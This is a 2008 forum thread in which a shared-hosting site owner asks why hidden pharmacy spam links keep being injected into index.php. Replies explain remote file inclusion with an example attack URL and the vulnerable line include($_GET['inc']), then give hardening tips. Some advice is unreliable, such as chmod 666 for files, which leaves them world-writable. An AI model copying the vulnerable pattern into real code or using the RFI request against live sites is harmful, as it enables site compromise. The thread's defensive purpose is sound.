1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

Site is hacked, custom PHP programming

Discussion in 'PHP' started by yohanip, May 30, 2008.

  1. #1
    Hello!
    what a great world the internet is.. :)
    my site got hacked several times, although the site was just a free site, didn't collect any user informations, just posting some valuable information..hmm but the site is frequently got hacked..

    I would like to ask for a help, i would like to know, what kind of hacking that posting so manny active hidden link on an index.php page?

    i've implementing :
    • validating $_GET[]
    • disabling global variables
    • disabling OS command

    but i did log on to cpanel and found that my site is hacked again.. :(

    anyone having similar experience arround this matter? how did you all solve those kind of problems?

    Thank you very much before
    Regards,
    Yohan..

    ps. The site is on the sig link
     
    yohanip, May 30, 2008 IP
  2. -bank-

    -bank- Well-Known Member

    Messages:
    674
    Likes Received:
    37
    Best Answers:
    0
    Trophy Points:
    120
    #2
    Probably easy passwords, usually the fastest way to hack, try changing them, else swap the script you're running on.
     
    -bank-, May 31, 2008 IP
  3. Randombase

    Randombase Peon

    Messages:
    224
    Likes Received:
    10
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Or the whole server got compromised and you are being a victim of a hack through another account.
     
    Randombase, May 31, 2008 IP
  4. Skullborg

    Skullborg Guest

    Messages:
    757
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    0
    #4
    Eh, your site might have a rfi vulnerability, or if it has a db, the hacker might have sql injected it and got the admin pass.
     
    Skullborg, May 31, 2008 IP
  5. yohanip

    yohanip Well-Known Member

    Messages:
    350
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    108
    #5
    Wow, havent though about sql injection, i'm adding some security measurement now, let see if it got hacked again.. ;)

    it's quite entertaining to see the work of the hacker, he/she is just adding some "<a hrefs>" and they are without any anchor text.. ex: <a href="http://somesite.blabla.com></a> things.. didn't do any 'defacing' or anything else, i wonder.. what kind of hacking is this..

    Anyway.. i do salute the hacker :D
     
    yohanip, May 31, 2008 IP
  6. swordbeta

    swordbeta Banned

    Messages:
    225
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    0
    #6
    swordbeta, May 31, 2008 IP
  7. Randombase

    Randombase Peon

    Messages:
    224
    Likes Received:
    10
    Best Answers:
    0
    Trophy Points:
    0
    #7
    Cheap backlink method, it's probably a mass deface script, you can check this if every index.php/html file has these lines of code.
     
    Randombase, May 31, 2008 IP
  8. Skullborg

    Skullborg Guest

    Messages:
    757
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    0
    #8
    Ah, script kiddies everywhere. btw yohanip, watch out for rfi loopholes too, they can be dangerous. ;) Anybody could upload a shell and own the whole thing if have a rfi vulnerability on your site.
     
    Skullborg, May 31, 2008 IP
    yohanip likes this.
  9. yohanip

    yohanip Well-Known Member

    Messages:
    350
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    108
    #9
    Thank you very much! btw, what is an RFI Vulneralibility?
     
    yohanip, May 31, 2008 IP
  10. SteveWh

    SteveWh Member

    Messages:
    74
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    48
    #10
    RFI means Remote File Inclusion. It is an attempt to trick your server into reading a file from a remote server (not yours), including its text into your PHP script, and getting it to execute as though it's part of your script.

    When you see an entry in your logs that looks like this:

    http:/yoursite/page.php?inc=http:/othersite/safe.txt?

    it is an RFI attack. If your script has a variable called inc and register_globals is on, and allow_url_fopen is on, then your server will get the safe.txt file (usually a PHP hacking script), execute it as part of your web page, and the site will be instantly hacked.
     
    SteveWh, Jun 1, 2008 IP
    yohanip likes this.
  11. yohanip

    yohanip Well-Known Member

    Messages:
    350
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    108
    #11
    I'm assuming that the vulneralibility was on apache handlers then?

    Ow news-flash :p by the time i typed this, i try visit the website again and it was all hacked up again, and he/she still hiding the anchor text of the links.. here is a code snippet : (the hacker is appending this code to the my original "index.php" script)
    <div id="wp_internal" style="position:absolute;left:-6012px;top:0px;">
    <ul><li><a href="http://job era. com/ 2007/05/ 16/levitra- lady/">levitra lady</a></li>
    <li>........ [b]there maybe hundreds of em[/b]
    </ul></div>
    
    <font style='position: absolute;overflow: hidden;height: 0;width: 0'><ul><li><a href="http:// mensleade rshipforum chicago. org/2007/04/04/hydrocodone-and-pharmacy/">hydrocodone and pharmacy</a></li> ...............[b]arround 100times[/b]</ul></font>
    
    Code (markup):
    Thanks!
     
    yohanip, Jun 1, 2008 IP
  12. Ang3r

    Ang3r Peon

    Messages:
    88
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #12
    It is possible that hacker have uploaded some bad script on your server & he can access you site via that file even after you fixed the vulnerability.It might be a php shell or something like that.Check your php logs & if you are on shared hosting ask your provider to help you.Try to find out the method which is hacker using to edit your index file either he is doing it via ftp or php.Double check your file permissions and don't give writing or executing permissions to public group.Better to do chmod "666" on files and "755" on folders.Hackers usally upload php shell after hacking a site via rfi.It might be sql injection too for that use some good encrytion for your password & use strong password, better to check your script for sql vulnerabilities & other vulnerabilities.

    I hope it will help you.You can ask me more about it.
     
    Ang3r, Jun 1, 2008 IP
  13. yohanip

    yohanip Well-Known Member

    Messages:
    350
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    108
    #13
    Thank you :D
    i'm contacting the hosting company right away..
    i wonder.. are there any way to change PHP ini file through cPanel on a shared hosting.. anyone please?
     
    yohanip, Jun 1, 2008 IP
  14. SteveWh

    SteveWh Member

    Messages:
    74
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    48
    #14
    The actual vulnerability is usually in an application like WordPress or forum or shopping cart software, etc., or in a user-built PHP script.

    If any of those are out of date, they're suspects.

    Here's a simple case of vulnerable PHP code:

    include($_GET['inc']);

    Presumably the author wants to specify which page to include via the URL, but it's vulnerable because a hacker can substitute any URL, such as in the example in the previous post.

    Although the vulnerability is in a script somewhere, there's more than one way to guard against RFI. It's not a bad idea to use all of them. Attacks can be blocked by a) fixing the script, b) in php.ini by turning off register_globals and allow_url_fopen, c) in .htaccess by turning off register_globals. Unfortunately, you can't disable allow_url_fopen in .htaccess.

    You can also use .htaccess to block all requests where the query string contains "http" or "ftp".
     
    SteveWh, Jun 1, 2008 IP
  15. SteveWh

    SteveWh Member

    Messages:
    74
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    48
    #15
    It depends on where your php.ini is located, and that depends on the host, so ask them. If you are allowed to have your own php.ini, then it will be (or you can create it) in public_html, and you can edit it from cPanel > File Manager. It's a plain text file.
     
    SteveWh, Jun 1, 2008 IP
  16. yohanip

    yohanip Well-Known Member

    Messages:
    350
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    108
    #16
    Thank you very much, you are indeed a guru :D
     
    yohanip, Jun 1, 2008 IP
  17. freelink4u

    freelink4u Banned

    Messages:
    276
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    0
    #17
    you are having your own server???
    install firewall then install AV..more then 60% attacks are blocked by antivirus.then install chkroot hunter and other security measurements.and also you must install ELs script for your server.
    change the ip of ssh server.change the ssh port.and also on top of that disable ssh for all your clients and sites.and make sure that you have scanned your whole server for rootkit.and then manually scan your all clients.
     
    freelink4u, Jun 1, 2008 IP
  18. yohanip

    yohanip Well-Known Member

    Messages:
    350
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    108
    #18
    This is deep :p unfortunately i'm still using a shared hosting solutions, anyway i'm trying to create a php.ini file on the public_html root, but.. is it safe to do that? if it's a public_html.. woulnd't it be visible to every visitor?..
    aww.. the headache of security programing..
     
    yohanip, Jun 1, 2008 IP
  19. freelink4u

    freelink4u Banned

    Messages:
    276
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    0
    #19
    yes u r right..try to save that file in home dir other then publlic_html
     
    freelink4u, Jun 1, 2008 IP
  20. Ang3r

    Ang3r Peon

    Messages:
    88
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #20
    Didn't he already told that he is using shared hosting?

    Nice tips anyway. :)
     
    Ang3r, Jun 1, 2008 IP